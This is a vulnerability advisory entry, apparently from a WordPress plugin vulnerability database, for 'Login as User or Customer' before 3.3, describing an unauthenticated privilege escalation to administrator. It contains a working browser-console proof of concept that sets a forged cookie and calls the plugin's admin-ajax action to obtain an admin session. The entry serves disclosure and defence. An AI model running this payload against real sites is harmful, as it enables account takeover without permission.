WordPress Plugin Vulnerabilities
Login as User or Customer < 3.3 - Unauthenticated Privilege Escalation to Admin
Description
The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
Proof of Concept
Run the below command in the developer console of the web browser while being on the blog as an unauthenticated user, then reload the page to be logged in as the user with ID: document.cookie = "loginas_old_user_id=1"; fetch("/wp-admin/admin-ajax.php?action=loginas_return_admin", { "method": "GET", "credentials": "include" }).then(response => response.text()) .then(data => console.log(data));
Affects Plugins
References
CVE
Classification
Type
PRIVESC
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
David
Submitter
David
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Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-12-27 (about 1 years ago)
Added
2022-12-27 (about 1 years ago)
Last Updated
2022-12-27 (about 1 years ago)